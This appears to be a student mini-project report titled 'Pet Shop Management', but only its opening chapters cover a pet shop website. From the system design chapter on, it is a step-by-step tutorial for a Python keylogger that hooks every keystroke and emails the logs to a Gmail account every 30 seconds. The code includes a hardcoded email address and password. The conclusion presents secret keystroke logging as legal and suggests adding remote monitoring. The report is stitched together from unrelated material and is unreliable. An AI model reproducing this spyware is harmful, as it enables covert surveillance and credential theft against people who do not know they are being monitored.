PET SHOP MANAGEMENT

MINI PROJECT REPORT

SUBMITTED BY
KARTHIKEYAN.M
(Reg.No.2013141100022)

Under the guidance of

Mrs.V.CHELLATHAI MSc, MPhil (Associate Professor)
Head of the department,
B.Sc.( Information Technology)

The partial fulfillment of the requirements

For the award of the degree
Of
Bachelor of Information Technology

DEPARTMENT OF INFORMATION TECHNOLOGY

GURU NANAK COLLEGE (AUTONOMOUS)
Guru Nanak Salai, Velachery, Chennai – 600 042.

MARCH - 2023
 GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.

DEPARTMENT OF INFORMATION TECHNOLOGY

This is to certify that, this is a bonafide record of work done by

KARTHIKEYAN.M with Register No.2013141100022 in Mini Project
during the Academic Year 2021-2022.

Internal Project Guide Head of the Department

Submitted for the Sixth Semester Mini Project Examination held

on - at the DEPARTMENT OF INFORMATION TECHNOLOGY,

GURU NANAK COLLEGE (Autonomous), Guru Nanak Salai, Velachery,

Chennai - 600 042.

Internal Examiner External Examiner

 GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.

DEPARTMENT OF INFORMATION TECHNOLOGY

DECLARATION

I KARTHIKEYAN.M, Reg. No: 2013141100022, Third year

BSc IT student, hereby declare that the Mini Project Report entitled, PET SHOP

MANAGEMENT is the original work carried out by me under the supervision of

Mrs.V.CHELLATHAI MSc, MPhil (Associate Professor ), towards the partial
fulfillment of the requirements of BSc.(IT) Degree at Guru Nanak College (Autonomous).

I further declare that this Mini Project has not been submitted elsewhere for any
other degree.

Place: Chennai Sincerely,

Date:
GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.

DEPARTMENT OF INFORMATION TECHNOLOGY

CERTIFICATE

This is to certify that the Mini Project entitled as PET SHOP

MANAGEMENT, submitted in partial fulfillment of the requirement for the

award of B.Sc.(Information Technology) Degree of Guru Nanak College
(Autonomous) is a result of a Bonafide work carried out by KARTHIKEYAN.M
during the year 2021-2022, under my supervision.

Place: Chennai Internal Guide

Date:
 ACKNOWLEDGEMENT

I also convey my regards to our PRINCIPAL Dr. M.G. Ragunathan(Qualification)

for their support to pursue this course.

At the outset, I take this opportunity to express my cheerful thanks to Dr.J.Vanathi

(Qulaification) Head of the Department (B.Sc. Information Technology) for

always being a source of guidance and Inspiration.

I express my deep sense of gratitude to my guide Mrs.V.CHELLATHAI MSc,

MPhil (Associate Professor ), for her encouragement to this project. She motivated me to
do project using Python programming language. She encouraged me all way to complete this
project.
ABSTRACT:

Pet Shop is a website where the purchase and sale of pets took place.

Today we came to know about the circumstances that most of the people depends on

Local markets and nearby houses in order to buy a pet for their house. Through this

project we are planning to digitalize this process by online marketing. Thus the

individuals can also rely on other persons across the district in order to buy variety

breeds of pets. People could also be able to come to know about the di fferent

price ranges for the same breed by selling  person

 TABLE OF CONTENTS

CHAPTER TOPIC PAGE NO.

1 Introduction 1

1.1 Objectives
1.2 Project Overview
2 System Analysis

2.1 Existing System

2.2 Proposed System
3 System Requirements
3.1 Hardware Configuration
3.2 Software Configuration
4 System Design
4.1 Input Design
4.2 Output Design
4.3 Code Design
4.4 Representation Diagram
5 Appendices
5.1 Code Implementation
5.1 Testing
5.3 Output
6 Conclusion
7 References
 CHAPTER 1
PROJECT INTRODUCTION

Pet Shop Management System all its user will have a valid user id and
password associated with it. Admin will responsible to provide their user id
and password by creating it. Admin can grant special permission to any
particular working employee. Admin can add new user, delete user, modify
user, generate bills, and get information on cash inflow and outflow. Check
stock, get reports on sales and purchase of products from suppliers and get
information on their regular customers to provide special discounts. Valid
user or working employee will be able to enter product details, their code,
and price and categorize products according to their size and price. This user
can also search any particular product using price and size options as well as
using product code options to check whether it is available in the pet Shop
Management System or not. Bill section of pet Shop Management System
will generate bill details such as bill number which will be unique for each
customer and supplier.
 1.1 OBJECTIVE

The objective of the ONLINE PET SHOP is to design a

simple and adaptable website for purchase a pets which helps the
customers decrease the commission fee paid to the agents. It
provides a unique page for customers.The website includes many
functions such as admin,home,product,billing and some other
features

1.2 PROJECT OVERVIEW

In this website , the costumers can able to buy their favourite pets through online
The main purpose of this application is to enable selling of pets for users.
The goal of this online pet shop management system project is to make
transactions and deals with customers in a more pleasant and efficient
manner by simply gathering information from them. It also aids each
individual by allowing them to seek for the information they require
 ` CHAPTER 2

SYSTEM ANALYSIS

2.1 EXISTING SYSTEM

Majority of the people still rely on localmarkets and dealers for buying their
desired pets whereas a part of the money is to be sent to agents as
commission. Currently the number of active mobile users found in our area
that provides purchase of pets are very limited. Many websites are available
in foreign countries like USA, but it is rarely developed in our area. Proper
and timely updation of data is not done in many such websites and therefore
it is not recommended to use. Similarly, lack of good user interface is a main
problem in these cases. Besides these, none of these websites consider street
dogs. As of now there is no website where we can adopt street dogs and
nurture them.

2.2 PROPOSED SYSTEM

1. Features and Advantages of Proposed system are :

2. Digitalize the process of pet marketing.
3. Eliminating the commission paid to agents.
4. Computerization is important for every field because the data is secure in
computer.
5. This project reduces human efforts, saves time and resources to an extent.
6. Attractive user interface.
 CHAPTER 3

SYSTEM REQUIREMENTS

3.1 HARDWARE REQUIREMENTS

• Processor : AMD PRO A4-4350B

• RAM : 4GB

3.2 SOFTWARE REQUIREMENTS

• Operating System : Windows 10 Pro

• System Type : 64-bit Operating System
 CHAPTER 4

SYSTEM DESIGN

4.1 INPUT DESIGN

Python programming language is used to develop the set of codes here.

The Python language type is a high-level, dynamically typed one that is among the most
popular general-purpose programming languages. It is among the world’s fastest-
growing programming languages and is used by software engineers, mathematicians,
data analysts, scientists, network engineers, students, and accountants. 
Python is an Interpreted, object-oriented, and high-level programming language. It is
called an interpreted language as its source code is compiled to bytecode which is then
interpreted. CPython usually compiles Python code to bytecode before interpreting it.
Used visual studio code to debug and compile the python program that is developed.
Visual Studio Code is a streamlined code editor with support for development
operations like debugging, task running, and version control. It aims to provide just the
tools a developer needs for a quick code-build-debug cycle and leaves more complex
workflows to fuller featured IDEs, such as Visual Studio IDE.

4.2 OUTPUT DESIGN

The project’s output which is the logs of the keystrokes is sent to the provided e-mail
ID as well as it is saved as a local file in the owner’s system which can be viewed
anytime by the user. The keystroke logs are saved and sent to the mail every 30
seconds.

4.3 CODE DESIGN

First, we need to install a module called keyboard, go to the terminal or the command

prompt and write:

$ pip install keyboard

This module allows you to take complete control of your keyboard, hook global events,
register hotkeys, simulate key presses, and much more, and it is a small module,
though.

Then start by importing the necessary modules

import keyboard # for keylogs

import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime

If you choose to report key logs via email, then you should set up a Gmail account and
make sure that:
 Less secure app access is on (we need to enable it because we will log in
using smtplib in Python).
 2-Step Verification is off.

Like it is shown in these two figures:

Then initialize the parameters:

SEND_REPORT_EVERY = 30 # in seconds, 60 means 1 minute and so on

EMAIL_ADDRESS = "naanoviyan18@gmail.com"
EMAIL_PASSWORD = "oviyannaan"

Setting SEND_REPORT_EVERY to 30 means we report our keylogs every 30 seconds.

Duration can be edited to our needs.

The best way to represent a keylogger is to create a class for it, and each method in this
class does a specific task:

class Keylogger:
def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
 self.start_dt = datetime.now()
self.end_dt = datetime.now()

Set report_method to "email" by default, which indicates that we'll send keylogs to our

email, you'll see how we pass "file" later and it will save it to a local file.

Now, we need to use keyboard's on_release() function that takes a callback that for

every KEY_UP event (whenever you release a key in the keyboard), it will get called,
this callback takes one parameter which is a KeyboardEvent that have
the name attribute, let's implement it:

def callback(self, event):

"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
 name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name

So whenever a key is released, the button pressed is appended to self.log string variable.

If we choose to report our keylogs to a local file, the following methods are responsible
for that:

def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")

The update_filename() method is simple; we take the recorded datetimes and convert

them to a readable string. After that, we construct a filename based on these dates,
which we'll use for naming our logging files.

Then we need to implement the method that given a message (in this case, key logs),
it sends it as an email:
 def sendmail(self, email, password, message):
# manages a connection to the SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()

The method that reports the keylogs after every period of time:

def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
 self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()

So we are checking if the self.log variable got something (the user pressed something in

that period), if it is the case, then report it by either saving to a local file, or sending as
an email.

And then we passed the and the function self.report() to Timer() class, and then call
the start() method after we set it as a daemon thread.

This way, the method we just implemented sends keystrokes to email or saves it to a
local file (based on the report_method) and calls itself recursively
each self.interval seconds in separate threads.

Let's define the method that calls the on_release() method:

def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
This start() method is what we'll use outside the class, as it's the essential method, we
use keyboard.on_release() method to pass our previously defined callback() method.

After that, we call our self.report() method that runs on a separate thread and finally we
use wait() method from the keyboard module to block the current thread, so we can exit
out of the program using CTRL+C.

We are basically done with the Keylogger class, all we need to do now is to instantiate

this class we have just created:

if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY,
report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()

If we want reports via email, then you should uncomment the first instantiation where
we have report_method="email". Otherwise, if we want to report keylogs via files into
the current directory, then we should use the second one, report_method set to "file".

When we execute the script using email reporting, it will record your keystrokes, after
30 seconds, it will send all logs to the email.

4.4 REPRESENTATION DIAGRAM

 CHAPTER 5

APPENDICES

5.1 CODE IMPLEMENTATION

Figure: 5.1.1
Figure: 5.1.2
Figure: 5.1.3
Figure: 5.1.4
 Figure: 5.1.5

5.2 TESTING
Figure: 5.2.1 – Starting the keylogger in command prompt
Figure: 5.2.1 – Keystrokes are getting saved
Figure: 5.2.3 – Testing some keystrokes
5.3 OUTPUT

Figure: 5.3.1 – The keystroke logs are received via mail

Figure: 5.3.2 – Keystroke logs are received via mail for every 30 seconds
Figure: 5.3.3 – Keystroke logs are stored as local files in the system
 CHAPTER 6

CONCLUSION

A Keylogger is a form of software which is used to track or log the all the
keys that a user strikes on their keyboard, usually in secret so that the user
of the system doesn’t know that their actions are being monitored. It is
otherwise known as keyboard capturer. These are perfectly legal and
useful. They can be installed by employers to oversee the use of their
computers, meaning that the employees have to complete their tasks
instead of procrastinating on social media. Some of the possible
amendments and improvements in this project are;
 Adding screenshots of pages visited
 Recording of system screen
 Full remote cloud monitoring
 Screenshot of immediately changed pages
 Secure web account for data storing
 Password Protection
 Parental Control
 CHAPTER 7
REFERENCES

1. https://medium.com/
2. https://www.slideshare.net/
3. https://en.m.wikipedia.org/wiki/
4. https://security.stackexchange.com/
5. https://www.ionos.com/digitalguide/